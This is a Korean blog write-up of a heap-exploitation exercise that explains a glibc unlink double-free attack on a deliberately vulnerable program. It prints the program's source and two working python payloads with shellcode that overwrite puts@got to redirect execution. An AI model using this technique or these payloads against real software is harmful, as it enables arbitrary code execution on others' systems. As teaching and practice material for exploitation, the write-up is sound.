Double free bug 를 이해하고 가장 쉽게 접근할 수 있는 문제..
문제 환경은 아주 예전의 취약한 glic 버전을 사용하고 있기에.. 해당 사이트에서 제공하는 iso 로 진행해야 한다.
문제 소스코드는 다음과 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } | cs |
앞 포스팅의 Double Free bug 는 [할당][해제] 하는 과정에서, 첫번째 mol1을 해제하는 과정에서 mol1은 다음 노드인 mol2와 병합하는 과정에서 발생하는 취약점이였다.
해당 포스팅은 [할당][할당][해제] 과정에서 free(b) 에서 발생하는 취약점이다. free(b) 를 하려는 과정에서 이전 노드인 A가 가짜로 해제되어있는 상태로 인식시키게 하여 a와 b를 병합하는 과정에서 취약점을 발생시킨다.
좀 더 설명을 해보면 다음과 같다.
처음 free(c) 는 그냥 지나간다. 별로 아무런 일이 일어나지 않는다.
혹시나 이전노드가 해제되었는지 확인을 하겠지만 prev_size = 0 이므로 아예 존재하지도 않는다.
일단 페이로드부터 보자. (보다 정확히 말하면 0x0804c30 에는 0x7a7a0062 가 들어감)
`python -c 'print "\x90"*4+"\x68\x64\x88\x04\x08\xc3"+"a"*22+"\xfc\xff\xff\xff"*2+"zzzz"+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"'` b c |
위의 그림은 페이로드를 집어넣었을때의 그림이다.
gdb 상에서 보면 다음과 같다.
다시 본론으로..
처음 free(c) 를 하면 아무 변화가 없고, 그 다음 free(b) 를 하는 과정에서 취약점이 발생한다.
free(b) 는 이전 chunk인(가상의 또다른 a라고 가정) a의 위치를 알기 위해 "해당위치 - prev_size" 를 진행한다. (여기까지 이론상 아무 문제가 없다) -> 추가 설명 : free(b) 를 하는 과정에서 b청크의 PREV_INUSE가 0 이므로, 이전 청크(a)와 병합을 해야함
하지만 0x0804c000의 위치를 찾아가는 것이 아닌 엉뚱한(?) 0x0804c28 - (-4) = 0x0804c2c 위치를 a위치로 인식한다.
그리고 이 곳이 a의 시작점이고 여기서부터 prev_size(-4), chunk_size(0x41414141), fd, bk 임을 알고, 가상의 a(faked chunk)는 b와 병합하기 위해 fd+12 = bk, bk+8 = fd 를 진행한다.
페이로드에 적혀있는 fd, bk 의 값은 다음과 같다.
먼저, fd 는 puts@got - 12 의 주소를 적어준다 (이렇게 해야지 puts@got에 bk주소가 들감, 그리고 puts 를 실행하면 bk(nop+쉘코드) 가 실행됨)
자연스럽게 bk는 쉘코드 주소를 적어줌. (쉘코드는 a에 적어주도록 하고 이 주소를 가져옴,,, 32바이트면 함수 포인터 변경하기 충분하다.. 뭐 본 환경에는 data 영역에 실행권한도 있었다고 함... 확인은 안함 되길래)
아래 그림은 free(b) 하고난 뒤의 gdb (bk+8이 fd값이 들어간 것을 확인할 수 있음)
이렇게 하고 프로그램이 printf("dynamite failed?\n"); 를 실행하면 puts@got 를 실행할거고.. 여기엔 0x909090+ 쉘코드가 들어있다.
(번외)
쉘코드를 이렇게 짠 사람도 있길래...
`python -c 'print "\x90"*22+"\x68\x64\x88\x04\x08\xc3"+"a"*4+"\xfc\xff\xff\xff"*2+"zzzz"+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"'` b c |
이게 왜 되나 머리속으로만 생각했었다.. 분명히 bk+8 = fd 과정에서 nop 가 짤려버려서 쉘코드가 작동하지 않을거 같았는데..
gdb instruction 을 조회해보니 별거 아니더라... 그냥 다음과 같아서 쉘코드 실행하는데는 별 지장이 없었음.. 그냥 참고용!
끝!
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
Codegate 2017 messenger (0) | 2018.03.01 |
---|---|
Plaid CTF 2014 ezhp (0) | 2018.03.01 |
Double Free Bug (0) | 2018.02.23 |
Codegate 2017 - babypwn (0) | 2018.02.22 |
Codegate 2014 Nuclear (0) | 2018.02.21 |